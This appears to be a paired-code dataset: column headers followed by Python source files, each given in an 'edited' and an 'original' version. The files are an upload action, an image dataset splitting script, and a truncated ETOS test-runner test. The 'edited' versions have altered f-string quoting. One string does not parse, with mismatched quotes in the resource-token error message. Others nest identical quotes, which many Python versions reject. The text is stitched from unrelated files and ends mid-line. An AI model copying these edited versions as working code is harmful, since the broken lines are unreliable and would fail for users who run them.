edited_code
stringlengths
17
978k
original_code
stringlengths
17
978k
import base64 import mimetypes from typing import Any, Dict from ....models.models import Resource from ....shared.exceptions import ActionException from ....shared.filters import And, FilterOperator from ...action import original_instances from ...generics.create import CreateAction from ...util.default_schema import DefaultSchema from ...util.register import register_action from ...util.typing import ActionData from .delete import ResourceDelete @register_action("resource.upload") class MediafileUploadAction(CreateAction): """ Action to upload a resourcefile. The token-field acts as unique key """ model = Resource() schema = DefaultSchema(model).get_create_schema( required_properties=["token", "organisation_id"], additional_required_fields={ "file": {"type": "string"}, "filename": {"type": "string"}, }, ) def update_instance(self, instance: Dict[str, Any]) -> Dict[str, Any]: filename_ = instance.pop("filename") file_ = instance.pop("file") instance["mimetype"] = mimetypes.guess_type(filename_)[0] if instance["mimetype"] is None: raise ActionException(f"Cannot guess mimetype for {filename_}.") decoded_file = base64.b64decode(file_) instance["filesize"] = len(decoded_file) id_ = instance["id"] mimetype_ = instance["mimetype"] self.media.upload_resource(file_, id_, mimetype_) return instance @original_instances def get_updated_instances(self, action_data: ActionData) -> ActionData: tokens = [instance["token"] for instance in action_data] if len(tokens) != len(set(tokens)): raise ActionException( "It is not permitted to use the same token twice in a request." ) for instance in action_data: results = self.datastore.filter( self.model.collection, And( FilterOperator("token", "=", instance["token"]), FilterOperator("organisation_id", "=", instance["organisation_id"]), ), ) if len(results) == 0: continue elif len(results) == 1: id = next(iter(results)) self.execute_other_action(ResourceDelete, [{"id": id}]) else: text = f'Database corrupt: The resource token has to be unique, but there are {len(results)} tokens '{instance['token']}".' self.logger.error(text) raise ActionException(text) return action_data
import base64 import mimetypes from typing import Any, Dict from ....models.models import Resource from ....shared.exceptions import ActionException from ....shared.filters import And, FilterOperator from ...action import original_instances from ...generics.create import CreateAction from ...util.default_schema import DefaultSchema from ...util.register import register_action from ...util.typing import ActionData from .delete import ResourceDelete @register_action("resource.upload") class MediafileUploadAction(CreateAction): """ Action to upload a resourcefile. The token-field acts as unique key """ model = Resource() schema = DefaultSchema(model).get_create_schema( required_properties=["token", "organisation_id"], additional_required_fields={ "file": {"type": "string"}, "filename": {"type": "string"}, }, ) def update_instance(self, instance: Dict[str, Any]) -> Dict[str, Any]: filename_ = instance.pop("filename") file_ = instance.pop("file") instance["mimetype"] = mimetypes.guess_type(filename_)[0] if instance["mimetype"] is None: raise ActionException(f"Cannot guess mimetype for {filename_}.") decoded_file = base64.b64decode(file_) instance["filesize"] = len(decoded_file) id_ = instance["id"] mimetype_ = instance["mimetype"] self.media.upload_resource(file_, id_, mimetype_) return instance @original_instances def get_updated_instances(self, action_data: ActionData) -> ActionData: tokens = [instance["token"] for instance in action_data] if len(tokens) != len(set(tokens)): raise ActionException( "It is not permitted to use the same token twice in a request." ) for instance in action_data: results = self.datastore.filter( self.model.collection, And( FilterOperator("token", "=", instance["token"]), FilterOperator("organisation_id", "=", instance["organisation_id"]), ), ) if len(results) == 0: continue elif len(results) == 1: id = next(iter(results)) self.execute_other_action(ResourceDelete, [{"id": id}]) else: text = f'Database corrupt: The resource token has to be unique, but there are {len(results)} tokens "{instance["token"]}".' self.logger.error(text) raise ActionException(text) return action_data
import argparse import logging import math import os from pathlib import Path import random import shutil from typing import Dict, List import cvdata.common # ------------------------------------------------------------------------------ # set up a basic, global _logger which will write to the console logging.basicConfig( level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S", ) _logger = logging.getLogger(__name__) # ------------------------------------------------------------------------------ def _split_ids_train_valid( ids: List[str], train_pct: float, ) -> (List[str], List[str]): """ Split a list of IDs into two lists based on a split percentage value. (IDs are shuffled before splitting in order to get a random order.) :param ids: list of ID strings :param train_pct: percentage between 0.0 and 1.0 :return: two lists of IDs split from the original list based on the training percentage with the first list containing train_pct and the second containing (1 - train_pct) """ # get the split based on the number of matching IDs and split percentage split_index = int(round(train_pct * len(ids))) random.shuffle(ids) training_ids = ids[:split_index] validation_ids = ids[split_index:] return training_ids, validation_ids # ------------------------------------------------------------------------------ def map_ids_to_paths( directory: str, extensions: List[str], ) -> Dict: """ For all files in a directory that end with the specified extension(s) we map the file IDs to the full file paths. For example, if we have a directory with the following files: /home/ubuntu/img1.jpg /home/ubuntu/img2.png /home/ubuntu/img3.jpg Then map_ids_to_paths("home/ubuntu", [".jpg"]) results in the following dictionary: { "img1": "/home/ubuntu/img1.jpg", "img3": "/home/ubuntu/img3.jpg",} :param directory: :param extensions: :return: """ # list the files in the directory files = os.listdir(directory) file_paths = [os.path.join(directory, f) for f in files] # build dictionary with file IDs as keys and file paths as values ids_to_paths = {} for ext in extensions: for file_path in file_paths: if os.path.isfile(file_path) and file_path.endswith(ext): ids_to_paths[Path(file_path).stem] = file_path return ids_to_paths # ------------------------------------------------------------------------------ def create_split_files_darknet( images_dir: str, use_prefix: str, dest_dir: str, train_pct: float, ) -> (str, str): """ Creates two text files, train.txt and valid.txt, in the specified destination directory, with each file containing lines specifying the image files of the training or validation dataset relative to the images directory. We assume that the resulting files will be used for training Darknet-based models and hence we expect the annotation extension to be *.txt. :param images_dir: directory that contains the images we'll split into training and validation sets :param use_prefix: the relative file path prefix to prepend to the file name when writing lines in the train.txt and valid.txt output files :param dest_dir: directory where the train.txt and valid.txt should be written :param train_pct: value between 0.0 and 1.0 indicating the training percentage (validation percentage = 1.0 - training percentage) :return: """ # map the file IDs to their corresponding full paths for img_ext in (".jpg", ".png"): images = map_ids_to_paths(images_dir, [img_ext]) annotations = map_ids_to_paths(images_dir, [".txt"]) # find matching image/annotation file IDs ids = list(set(images.keys()).intersection(annotations.keys())) # split the file IDs into training and validation lists training_ids, validation_ids = _split_ids_train_valid(ids, train_pct) # create the destination directory in case it doesn't already exist os.makedirs(dest_dir, exist_ok=True) # write the relative file paths for the training images into train.txt train_file_path = os.path.join(dest_dir, "train.txt") with open(train_file_path, "w+") as train_file: for img_id in training_ids: train_file.write(os.path.join(use_prefix, img_id + img_ext) + "\n") # write the relative file paths for the validation images into valid.txt valid_file_path = os.path.join(dest_dir, "valid.txt") with open(valid_file_path, "w+") as valid_file: for img_id in validation_ids: valid_file.write(os.path.join(use_prefix, img_id + img_ext) + "\n") return train_file_path, valid_file_path # ------------------------------------------------------------------------------ def _relocate_files( move_files: bool, file_ids: List[str], file_paths: Dict, dest_dir: str, ) -> int: """ TODO :param move_files: whether or not to move the files (copy files if false) :param file_ids: file IDs for annotation and image files to be copied/moved :param file_paths: dictionary of file IDs to image file paths :param dest_dir: destination directory for image files :return: 0 indicates success """ def relocate_file(move_file: bool, src_file_path: str, dest_directory: str): """ TODO :param move_file whether or not to move the files (copy files if false) :param src_file_path: absolute path of source file to be copied :param dest_directory: destination directory for the file copy/move :return: 0 indicates success """ file_name = os.path.basename(src_file_path) dest_file_path = os.path.join(dest_directory, file_name) if move_file: shutil.move(src_file_path, dest_file_path) else: shutil.copy2(src_file_path, dest_file_path) return 0 # copy or move the files into the destination directory for file_id in file_ids: relocate_file(move_files, file_paths[file_id], dest_dir) return 0 # ------------------------------------------------------------------------------ def _relocate_files_dataset( move_files: bool, file_ids: List[str], annotation_paths: Dict, annotations_dest_dir: str, image_paths: Dict, images_dest_dir: str, ) -> int: """ TODO :param move_files: whether or not to move the files (copy files if false) :param file_ids: file IDs for annotation and image files to be copied/moved :param annotation_paths: dictionary of file IDs to annotation file paths :param annotations_dest_dir: destination directory for annotation files :param image_paths: dictionary of file IDs to image file paths :param images_dest_dir: destination directory for image files :return: 0 indicates success """ for paths, dest_dir in zip([annotation_paths, image_paths], [annotations_dest_dir, images_dest_dir]): _relocate_files(move_files, file_ids, paths, dest_dir) return 0 # ------------------------------------------------------------------------------ def split_train_valid_test_images(split_arguments: Dict): # create the training, validation, and testing # directories if they don't already exist os.makedirs(split_arguments["train_images_dir"], exist_ok=True) os.makedirs(split_arguments["val_images_dir"], exist_ok=True) os.makedirs(split_arguments["test_images_dir"], exist_ok=True) # map the file IDs to their corresponding full paths images = map_ids_to_paths(split_arguments["images_dir"], [".jpg", ".png"]) ids = list(images.keys()) # confirm that the percentages all add to 100% train_percentage, valid_percentage, test_percentage = \ [float(x) for x in split_arguments["split"].split(":")] total_percentage = train_percentage + valid_percentage + test_percentage if not math.isclose(1.0, total_percentage): raise ValueError( "Invalid argument values: the combined train/valid/test " "percentages do not add to 1.0" ) # split the file IDs into training and validation lists # get the split based on the number of matching IDs and split percentages final_train_index = int(round(train_percentage * len(ids))) final_valid_index = int(round((train_percentage + valid_percentage) * len(ids))) random.shuffle(ids) training_ids = ids[:final_train_index] validation_ids = ids[final_train_index:final_valid_index] testing_ids = ids[final_valid_index:] # relocate images and annotations into the training directories _logger.info("Splitting files for the training set into " f"{split_arguments["train_images_dir"]}") _relocate_files( split_arguments["move"], training_ids, images, split_arguments["train_images_dir"] ) # relocate images and annotations into the validation directories _logger.info("Splitting files for the validation set into " f"{split_arguments["val_images_dir"]}") _relocate_files( split_arguments["move"], validation_ids, images, split_arguments["val_images_dir"] ) # relocate images and annotations into the testing directories _logger.info("Splitting files for the testing set into " f"{split_arguments["test_images_dir"]}") _relocate_files( split_arguments["move"], testing_ids, images, split_arguments["test_images_dir"] ) # ------------------------------------------------------------------------------ def split_train_valid_test_dataset(split_arguments: Dict): # create the training, validation, and testing # directories if they don't already exist os.makedirs(split_arguments["train_annotations_dir"], exist_ok=True) os.makedirs(split_arguments["val_annotations_dir"], exist_ok=True) os.makedirs(split_arguments["test_annotations_dir"], exist_ok=True) os.makedirs(split_arguments["train_images_dir"], exist_ok=True) os.makedirs(split_arguments["val_images_dir"], exist_ok=True) os.makedirs(split_arguments["test_images_dir"], exist_ok=True) # map the file IDs to their corresponding full paths images = map_ids_to_paths(split_arguments["images_dir"], [".jpg", ".png"]) annotations = map_ids_to_paths( split_arguments["annotations_dir"], [cvdata.common.FORMAT_EXTENSIONS[split_arguments["format"]]], ) # find matching image/annotation file IDs ids = list(set(images.keys()).intersection(annotations.keys())) # confirm that the percentages all add to 100% train_percentage, valid_percentage, test_percentage = \ [float(x) for x in split_arguments["split"].split(":")] total_percentage = train_percentage + valid_percentage + test_percentage if not math.isclose(1.0, total_percentage): raise ValueError( "Invalid argument values: the combined train/valid/test " "percentages do not add to 1.0" ) # split the file IDs into training and validation lists # get the split based on the number of matching IDs and split percentages final_train_index = int(round(train_percentage * len(ids))) final_valid_index = int(round((train_percentage + valid_percentage) * len(ids))) random.shuffle(ids) training_ids = ids[:final_train_index] validation_ids = ids[final_train_index:final_valid_index] testing_ids = ids[final_valid_index:] # relocate images and annotations into the training directories _logger.info("Splitting files for the training set into " f"{split_arguments["train_images_dir"]} " f"and {split_arguments["train_annotations_dir"]}") _relocate_files_dataset( split_arguments["move"], training_ids, annotations, split_arguments["train_annotations_dir"], images, split_arguments["train_images_dir"] ) # relocate images and annotations into the validation directories _logger.info("Splitting files for the validation set into " f"{split_arguments["val_images_dir"]} " f"and {split_arguments["val_annotations_dir"]}") _relocate_files_dataset( split_arguments["move"], validation_ids, annotations, split_arguments["val_annotations_dir"], images, split_arguments["val_images_dir"] ) # relocate images and annotations into the testing directories _logger.info("Splitting files for the testing set into " f"{split_arguments["test_images_dir"]} " f"and {split_arguments["test_annotations_dir"]}") _relocate_files_dataset( split_arguments["move"], testing_ids, annotations, split_arguments["test_annotations_dir"], images, split_arguments["test_images_dir"] ) # ------------------------------------------------------------------------------ def main(): # parse the command line arguments args_parser = argparse.ArgumentParser() args_parser.add_argument( "--annotations_dir", required=False, type=str, help="path to directory containing annotation files", ) args_parser.add_argument( "--images_dir", required=True, type=str, help="path to directory containing image files", ) args_parser.add_argument( "--train_annotations_dir", required=False, type=str, help="path to new directory containing annotation files for training", ) args_parser.add_argument( "--train_images_dir", required=True, type=str, help="path to new directory containing image files for training", ) args_parser.add_argument( "--val_annotations_dir", required=False, type=str, help="path to new directory containing annotation files for validation", ) args_parser.add_argument( "--val_images_dir", required=True, type=str, help="path to new directory containing image files for validation", ) args_parser.add_argument( "--test_annotations_dir", required=False, type=str, help="path to new directory containing annotation files for testing", ) args_parser.add_argument( "--test_images_dir", required=True, type=str, help="path to new directory containing image files for testing", ) args_parser.add_argument( "--split", required=False, type=str, default="0.7:0.2:0.1", help="colon-separated triple of percentages to use for training, " "validation, and testing (values should sum to 1.0)", ) args_parser.add_argument( "--format", type=str, required=False, default="pascal", choices=cvdata.common.FORMAT_CHOICES, help="output format: KITTI, PASCAL, Darknet, TFRecord, or COCO", ) args_parser.add_argument( "--move", default=False, action='store_true', help="move the source files to their destinations rather than copying", ) args = vars(args_parser.parse_args()) if args["annotations_dir"] is None: # split files from the images directory # into training, validation, and test sets split_train_valid_test_images(args) else: # split files from the images and annotations # directories into training, validation, and test sets split_train_valid_test_dataset(args) # ------------------------------------------------------------------------------ if __name__ == "__main__": """ Usage: $ python split.py \ --annotations_dir /data/datasets/handgun/pascal \ --images_dir /data/datasets/handgun/images \ --train_annotations_dir /data/datasets/handgun/pascal/train \ --train_images_dir /data/datasets/handgun/images/train \ --val_annotations_dir /data/datasets/handgun/pascal/valid \ --val_images_dir /data/datasets/handgun/images/valid \ --test_annotations_dir /data/datasets/handgun/pascal/test \ --test_images_dir /data/datasets/handgun/images/test \ --format pascal """ main()
import argparse import logging import math import os from pathlib import Path import random import shutil from typing import Dict, List import cvdata.common # ------------------------------------------------------------------------------ # set up a basic, global _logger which will write to the console logging.basicConfig( level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S", ) _logger = logging.getLogger(__name__) # ------------------------------------------------------------------------------ def _split_ids_train_valid( ids: List[str], train_pct: float, ) -> (List[str], List[str]): """ Split a list of IDs into two lists based on a split percentage value. (IDs are shuffled before splitting in order to get a random order.) :param ids: list of ID strings :param train_pct: percentage between 0.0 and 1.0 :return: two lists of IDs split from the original list based on the training percentage with the first list containing train_pct and the second containing (1 - train_pct) """ # get the split based on the number of matching IDs and split percentage split_index = int(round(train_pct * len(ids))) random.shuffle(ids) training_ids = ids[:split_index] validation_ids = ids[split_index:] return training_ids, validation_ids # ------------------------------------------------------------------------------ def map_ids_to_paths( directory: str, extensions: List[str], ) -> Dict: """ For all files in a directory that end with the specified extension(s) we map the file IDs to the full file paths. For example, if we have a directory with the following files: /home/ubuntu/img1.jpg /home/ubuntu/img2.png /home/ubuntu/img3.jpg Then map_ids_to_paths("home/ubuntu", [".jpg"]) results in the following dictionary: { "img1": "/home/ubuntu/img1.jpg", "img3": "/home/ubuntu/img3.jpg",} :param directory: :param extensions: :return: """ # list the files in the directory files = os.listdir(directory) file_paths = [os.path.join(directory, f) for f in files] # build dictionary with file IDs as keys and file paths as values ids_to_paths = {} for ext in extensions: for file_path in file_paths: if os.path.isfile(file_path) and file_path.endswith(ext): ids_to_paths[Path(file_path).stem] = file_path return ids_to_paths # ------------------------------------------------------------------------------ def create_split_files_darknet( images_dir: str, use_prefix: str, dest_dir: str, train_pct: float, ) -> (str, str): """ Creates two text files, train.txt and valid.txt, in the specified destination directory, with each file containing lines specifying the image files of the training or validation dataset relative to the images directory. We assume that the resulting files will be used for training Darknet-based models and hence we expect the annotation extension to be *.txt. :param images_dir: directory that contains the images we'll split into training and validation sets :param use_prefix: the relative file path prefix to prepend to the file name when writing lines in the train.txt and valid.txt output files :param dest_dir: directory where the train.txt and valid.txt should be written :param train_pct: value between 0.0 and 1.0 indicating the training percentage (validation percentage = 1.0 - training percentage) :return: """ # map the file IDs to their corresponding full paths for img_ext in (".jpg", ".png"): images = map_ids_to_paths(images_dir, [img_ext]) annotations = map_ids_to_paths(images_dir, [".txt"]) # find matching image/annotation file IDs ids = list(set(images.keys()).intersection(annotations.keys())) # split the file IDs into training and validation lists training_ids, validation_ids = _split_ids_train_valid(ids, train_pct) # create the destination directory in case it doesn't already exist os.makedirs(dest_dir, exist_ok=True) # write the relative file paths for the training images into train.txt train_file_path = os.path.join(dest_dir, "train.txt") with open(train_file_path, "w+") as train_file: for img_id in training_ids: train_file.write(os.path.join(use_prefix, img_id + img_ext) + "\n") # write the relative file paths for the validation images into valid.txt valid_file_path = os.path.join(dest_dir, "valid.txt") with open(valid_file_path, "w+") as valid_file: for img_id in validation_ids: valid_file.write(os.path.join(use_prefix, img_id + img_ext) + "\n") return train_file_path, valid_file_path # ------------------------------------------------------------------------------ def _relocate_files( move_files: bool, file_ids: List[str], file_paths: Dict, dest_dir: str, ) -> int: """ TODO :param move_files: whether or not to move the files (copy files if false) :param file_ids: file IDs for annotation and image files to be copied/moved :param file_paths: dictionary of file IDs to image file paths :param dest_dir: destination directory for image files :return: 0 indicates success """ def relocate_file(move_file: bool, src_file_path: str, dest_directory: str): """ TODO :param move_file whether or not to move the files (copy files if false) :param src_file_path: absolute path of source file to be copied :param dest_directory: destination directory for the file copy/move :return: 0 indicates success """ file_name = os.path.basename(src_file_path) dest_file_path = os.path.join(dest_directory, file_name) if move_file: shutil.move(src_file_path, dest_file_path) else: shutil.copy2(src_file_path, dest_file_path) return 0 # copy or move the files into the destination directory for file_id in file_ids: relocate_file(move_files, file_paths[file_id], dest_dir) return 0 # ------------------------------------------------------------------------------ def _relocate_files_dataset( move_files: bool, file_ids: List[str], annotation_paths: Dict, annotations_dest_dir: str, image_paths: Dict, images_dest_dir: str, ) -> int: """ TODO :param move_files: whether or not to move the files (copy files if false) :param file_ids: file IDs for annotation and image files to be copied/moved :param annotation_paths: dictionary of file IDs to annotation file paths :param annotations_dest_dir: destination directory for annotation files :param image_paths: dictionary of file IDs to image file paths :param images_dest_dir: destination directory for image files :return: 0 indicates success """ for paths, dest_dir in zip([annotation_paths, image_paths], [annotations_dest_dir, images_dest_dir]): _relocate_files(move_files, file_ids, paths, dest_dir) return 0 # ------------------------------------------------------------------------------ def split_train_valid_test_images(split_arguments: Dict): # create the training, validation, and testing # directories if they don't already exist os.makedirs(split_arguments["train_images_dir"], exist_ok=True) os.makedirs(split_arguments["val_images_dir"], exist_ok=True) os.makedirs(split_arguments["test_images_dir"], exist_ok=True) # map the file IDs to their corresponding full paths images = map_ids_to_paths(split_arguments["images_dir"], [".jpg", ".png"]) ids = list(images.keys()) # confirm that the percentages all add to 100% train_percentage, valid_percentage, test_percentage = \ [float(x) for x in split_arguments["split"].split(":")] total_percentage = train_percentage + valid_percentage + test_percentage if not math.isclose(1.0, total_percentage): raise ValueError( "Invalid argument values: the combined train/valid/test " "percentages do not add to 1.0" ) # split the file IDs into training and validation lists # get the split based on the number of matching IDs and split percentages final_train_index = int(round(train_percentage * len(ids))) final_valid_index = int(round((train_percentage + valid_percentage) * len(ids))) random.shuffle(ids) training_ids = ids[:final_train_index] validation_ids = ids[final_train_index:final_valid_index] testing_ids = ids[final_valid_index:] # relocate images and annotations into the training directories _logger.info("Splitting files for the training set into " f"{split_arguments['train_images_dir']}") _relocate_files( split_arguments["move"], training_ids, images, split_arguments["train_images_dir"] ) # relocate images and annotations into the validation directories _logger.info("Splitting files for the validation set into " f"{split_arguments['val_images_dir']}") _relocate_files( split_arguments["move"], validation_ids, images, split_arguments["val_images_dir"] ) # relocate images and annotations into the testing directories _logger.info("Splitting files for the testing set into " f"{split_arguments['test_images_dir']}") _relocate_files( split_arguments["move"], testing_ids, images, split_arguments["test_images_dir"] ) # ------------------------------------------------------------------------------ def split_train_valid_test_dataset(split_arguments: Dict): # create the training, validation, and testing # directories if they don't already exist os.makedirs(split_arguments["train_annotations_dir"], exist_ok=True) os.makedirs(split_arguments["val_annotations_dir"], exist_ok=True) os.makedirs(split_arguments["test_annotations_dir"], exist_ok=True) os.makedirs(split_arguments["train_images_dir"], exist_ok=True) os.makedirs(split_arguments["val_images_dir"], exist_ok=True) os.makedirs(split_arguments["test_images_dir"], exist_ok=True) # map the file IDs to their corresponding full paths images = map_ids_to_paths(split_arguments["images_dir"], [".jpg", ".png"]) annotations = map_ids_to_paths( split_arguments["annotations_dir"], [cvdata.common.FORMAT_EXTENSIONS[split_arguments["format"]]], ) # find matching image/annotation file IDs ids = list(set(images.keys()).intersection(annotations.keys())) # confirm that the percentages all add to 100% train_percentage, valid_percentage, test_percentage = \ [float(x) for x in split_arguments["split"].split(":")] total_percentage = train_percentage + valid_percentage + test_percentage if not math.isclose(1.0, total_percentage): raise ValueError( "Invalid argument values: the combined train/valid/test " "percentages do not add to 1.0" ) # split the file IDs into training and validation lists # get the split based on the number of matching IDs and split percentages final_train_index = int(round(train_percentage * len(ids))) final_valid_index = int(round((train_percentage + valid_percentage) * len(ids))) random.shuffle(ids) training_ids = ids[:final_train_index] validation_ids = ids[final_train_index:final_valid_index] testing_ids = ids[final_valid_index:] # relocate images and annotations into the training directories _logger.info("Splitting files for the training set into " f"{split_arguments['train_images_dir']} " f"and {split_arguments['train_annotations_dir']}") _relocate_files_dataset( split_arguments["move"], training_ids, annotations, split_arguments["train_annotations_dir"], images, split_arguments["train_images_dir"] ) # relocate images and annotations into the validation directories _logger.info("Splitting files for the validation set into " f"{split_arguments['val_images_dir']} " f"and {split_arguments['val_annotations_dir']}") _relocate_files_dataset( split_arguments["move"], validation_ids, annotations, split_arguments["val_annotations_dir"], images, split_arguments["val_images_dir"] ) # relocate images and annotations into the testing directories _logger.info("Splitting files for the testing set into " f"{split_arguments['test_images_dir']} " f"and {split_arguments['test_annotations_dir']}") _relocate_files_dataset( split_arguments["move"], testing_ids, annotations, split_arguments["test_annotations_dir"], images, split_arguments["test_images_dir"] ) # ------------------------------------------------------------------------------ def main(): # parse the command line arguments args_parser = argparse.ArgumentParser() args_parser.add_argument( "--annotations_dir", required=False, type=str, help="path to directory containing annotation files", ) args_parser.add_argument( "--images_dir", required=True, type=str, help="path to directory containing image files", ) args_parser.add_argument( "--train_annotations_dir", required=False, type=str, help="path to new directory containing annotation files for training", ) args_parser.add_argument( "--train_images_dir", required=True, type=str, help="path to new directory containing image files for training", ) args_parser.add_argument( "--val_annotations_dir", required=False, type=str, help="path to new directory containing annotation files for validation", ) args_parser.add_argument( "--val_images_dir", required=True, type=str, help="path to new directory containing image files for validation", ) args_parser.add_argument( "--test_annotations_dir", required=False, type=str, help="path to new directory containing annotation files for testing", ) args_parser.add_argument( "--test_images_dir", required=True, type=str, help="path to new directory containing image files for testing", ) args_parser.add_argument( "--split", required=False, type=str, default="0.7:0.2:0.1", help="colon-separated triple of percentages to use for training, " "validation, and testing (values should sum to 1.0)", ) args_parser.add_argument( "--format", type=str, required=False, default="pascal", choices=cvdata.common.FORMAT_CHOICES, help="output format: KITTI, PASCAL, Darknet, TFRecord, or COCO", ) args_parser.add_argument( "--move", default=False, action='store_true', help="move the source files to their destinations rather than copying", ) args = vars(args_parser.parse_args()) if args["annotations_dir"] is None: # split files from the images directory # into training, validation, and test sets split_train_valid_test_images(args) else: # split files from the images and annotations # directories into training, validation, and test sets split_train_valid_test_dataset(args) # ------------------------------------------------------------------------------ if __name__ == "__main__": """ Usage: $ python split.py \ --annotations_dir /data/datasets/handgun/pascal \ --images_dir /data/datasets/handgun/images \ --train_annotations_dir /data/datasets/handgun/pascal/train \ --train_images_dir /data/datasets/handgun/images/train \ --val_annotations_dir /data/datasets/handgun/pascal/valid \ --val_images_dir /data/datasets/handgun/images/valid \ --test_annotations_dir /data/datasets/handgun/pascal/test \ --test_images_dir /data/datasets/handgun/images/test \ --format pascal """ main()
# Copyright 2020-2021 Axis Communications AB. # # For a full list of individual contributors, please see the commit history. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests full executions.""" import os import logging from copy import deepcopy from shutil import rmtree from contextlib import contextmanager from pathlib import Path from unittest import TestCase from unittest.mock import patch from etos_lib.lib.debug import Debug from etos_test_runner.etr import ETR # pylint:disable=too-many-locals SUITE = { "name": "Test ETOS API scenario", "priority": 1, "recipes": [ { "constraints": [ {"key": "ENVIRONMENT", "value": {}}, {"key": "PARAMETERS", "value": {}}, {"key": "COMMAND", "value": "exit 0"}, { "key": "TEST_RUNNER", "value": "registry.nordix.org/eiffel/etos-python-test-runner:3.9.0", }, {"key": "EXECUTE", "value": ["echo 'this is the pre-execution step'"]}, { "key": "CHECKOUT", "value": ["echo 'this is the checkout step'"], }, ], "id": "6e8d29eb-4b05-4f5e-9207-0c94438479c7", "testCase": { "id": "ETOS_API_functests", "tracker": "Github", "url": "https://github.com/eiffel-community/etos-api", }, } ], "test_runner": "registry.nordix.org/eiffel/etos-python-test-runner:3.9.0", "iut": { "provider_id": "default", "identity": "pkg:docker/production/etos/etos-api@1.2.0", "type": "docker", "namespace": "production/etos", "name": "etos-api", "version": "1.2.0", "qualifiers": {}, "subpath": None, }, "artifact": "e9b0c120-8638-4c73-9b5c-e72226415ae6", "context": "fde87097-46bd-4916-b69f-48dbbec47936", "executor": {}, "log_area": { "provider_id": "default", "livelogs": "http://localhost/livelogs", "type": "ARTIFACTORY", "upload": { "url": "http://localhost/logs/{context}/{folder}/{name}", "method": "POST", }, "logs": {}, }, } class TestLogUpload(TestCase): """Test a log upload of ETR.""" logger = logging.getLogger(__name__) @classmethod def setUpClass(cls): """Create a debug instance.""" cls.main_suite_id = "577381ad-8356-4939-ab77-02e7abe06699" cls.debug = Debug() def setUp(self): """Create patch objects and a test folder to execute from.""" self.patchers = [] self.original = Path.cwd() self.root = Path().joinpath("testfolder").absolute() if self.root.exists(): rmtree(self.root) self.root.mkdir() os.chdir(self.root) self._patch_wait_for_request() self._patch_http_request() self._patch_test_suite_started_request() def _patch_wait_for_request(self): """Patch the ETOS library wait for request method.""" patcher = patch("etos_lib.etos.Http.wait_for_request") self.patchers.append(patcher) self.wait_for_request = patcher.start() self.suite = deepcopy(SUITE) self.wait_for_request.return_value = [self.suite] def _patch_http_request(self): """Patch the ETOS library http request method.""" patcher = patch("etos_lib.etos.Http.request") self.patchers.append(patcher) self.http_request = patcher.start() self.http_request.return_value = True def _patch_test_suite_started_request(self): """Patch the GraphQL request for test suite started.""" patcher = patch("etos_test_runner.lib.testrunner.request_test_suite_started") self.patchers.append(patcher) self.request_test_suite_started = patcher.start() self.request_test_suite_started.return_value = [ { "data": {"testSuiteCategories": []}, "meta": {"id": self.main_suite_id}, } ] def tearDown(self): """Clear the test folder and patchers.""" os.chdir(self.original) rmtree(self.root, ignore_errors=True) for patcher in self.patchers: patcher.stop() @staticmethod @contextmanager def environ(add_environment): """Set environment variables in context and remove after. :param add_environment: Environment variables to add. :type add_environment: dict """ current = {} for key, value in add_environment.items(): current[key] = os.getenv(key) os.environ[key] = str(value) yield for key, value in current.items(): if value is None: del os.environ[key] else: os.environ[key] = value @staticmethod def get_event(event_name, events): """Get an event by name. :param event_name: Event name to find. :type event_name: str :return: Event with the name. :rtype: :obj:`eiffellib.lib.events.EiffelBaseEvent` """ try: return [event for event in events if event.meta.type == event_name][0] except IndexError: return None @staticmethod def get_events(event_name, events): """Get multiple events by name. :param event_name: Event name to find. :type event_name: str :return: Events with the name. :rtype: list """ try: return [event for event in events if event.meta.type == event_name] except IndexError: return [] def test_log_upload(self): """Test that log upload works as expected. Approval criteria: - Log upload shall be executed after each test and after each suite. - Logs shall be attached to TestSuiteFinished event. Test steps:: 1. Initialize and run ETR. 2. Verify that upload works as expected. 3. Verify that log url was attached to event. """ environment = { "ETOS_DISABLE_SENDING_EVENTS": "1", "ETOS_DISABLE_RECEIVING_EVENTS": "1", "ETOS_GRAPHQL_SERVER": "http://localhost/graphql", "SUB_SUITE_URL": "http://localhost/download_suite", "HOME": self.root, # There is something weird with tox and HOME. This fixes it. } with self.environ(environment): self.logger.info("STEP: Initialize and run ETR.") etr = ETR() etr.run_etr() sub_suite_started = self.get_event( "EiffelTestSuiteStartedEvent", self.debug.events_published ) self.logger.info("STEP: Verify that upload works as expected.") filenames = [ f"{self.suite["recipes"][0]["testCase"]["id"]}_test_output.log", "full_execution.log", "workspace.tar.gz", ] for method_call in self.http_request.call_args_list: verb, url, as_json = method_call.args data = method_call.kwargs.get("data") filename = Path(data.name) self.assertEqual(verb, self.suite["log_area"]["upload"]["method"]) self.assertEqual( url, self.suite["log_area"]["upload"]["url"].format( context=self.suite["context"], name=filename.name, folder=f"{self.main_suite_id}/{sub_suite_started.meta.event_id}", ), ) self.assertTrue(as_json) for path in filenames: if filename.name == path: filenames.remove(path) break else: raise AssertionError(f"{filename} should not have been uploaded.") self.assertEqual(len(filenames), 0) self.logger.info("STEP: Verify that log url was attached to event.") test_suite_finished = self.get_event( "EiffelTestSuiteFinishedEvent", self.debug.events_published ) files = [ f"{self.suite["recipes"][0]["testCase"]["id"]}_test_output.log", "full_execution.log", ] for filename in files: url = self.suite["log_area"]["upload"]["url"].format( context=self.suite["context"], name=filename, folder=f"{self.main_suite_id}/{sub_suite_started.meta.event_id}", ) for log in test_suite_finished.data.data.get("persistentLogs"): if log["name"] == filename and log["uri"] == url: test_suite_finished.data.data["persistentLogs"].remove(log) break else: raise AssertionError(f"{filename} was not attached to TestSuiteFinished event.") def test_log_upload_rename_file_too_long(self): """Test that log upload works and that it renames too long filenames. Approval criteria: - Log names shall be renamed if they are considered too long. Test steps:: 1. Initialize ETR. 2. Run ETR with a suite that creates a file with a too long name. 3. Verify that the file was renamed before upload. """ environment = { "ETOS_DISABLE_SENDING_EVENTS": "1", "ETOS_DISABLE_RECEIVING_EVENTS": "1", "ETOS_GRAPHQL_SERVER": "http://localhost/graphql", "SUB_SUITE_URL": "http://localhost/download_suite", "HOME": self.root, # There is something weird with tox and HOME. This fixes it. } suite = deepcopy(SUITE) command_index = 